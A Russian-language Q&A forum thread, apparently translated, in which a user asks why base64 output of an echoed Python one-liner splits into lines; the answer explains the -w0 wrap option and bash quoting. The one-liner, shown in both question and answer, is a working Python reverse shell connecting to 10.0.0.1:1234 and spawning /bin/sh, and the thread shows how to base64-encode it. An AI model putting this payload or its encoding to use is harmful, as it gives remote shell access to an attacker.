Как избежать кавычек в закодированной в base64 строке в bash? - PullRequest
0 голосов
/ 18 июня 2019

Итак, я пытаюсь в base64 кодировать строку, содержащую программу Python One Liner.

Как можно избежать разбиения кодированной строки base64 на несколько строк? Я предполагаю, что это цитаты. "'"

Вот что я пробовал:

    echo "python -c 'import socket,subprocess,os; 
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); 
    s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); 
    os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); 
    p=subprocess.call(["/bin/sh","-i"]);'" | base64

Это выводит:

cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7IHM9c29ja2V0LnNvY2tldChz 
b2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKTsgcy5jb25uZWN0KCgxMC4wLjAuMSwx 
MjM0KSk7IG9zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5k 
dXAyKHMuZmlsZW5vKCksMik7IHA9c3VicHJvY2Vzcy5jYWxsKFsvYmluL3NoLC1pXSk7Jwo=

1 Ответ

1 голос
/ 18 июня 2019

что делит строку в кодировке base64 на несколько строк?

Разрывы строк вставляются на основе длины вывода, а не на основе специальных символов на входе. См man base64:

-w, --wrap=COLS wrap encoded lines after COLS character (default 76). Use 0 to disable line wrapping

Поэтому вы можете написать echo someString | base64 -w0.

Обратите внимание, что bash может испортить вашу строку, если вы не правильно ее процитируете. В вашем случае " в subprocess.call(["/bin/sh","-i"]) проглатывается bash и , а не , напечатанным echo. Либо напишите \", либо используйте здесь документ:

base64 -w0 <<'EOF'
python -c 'import socket,subprocess,os; 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); 
s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); 
p=subprocess.call(["/bin/sh","-i"]);'
EOF
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...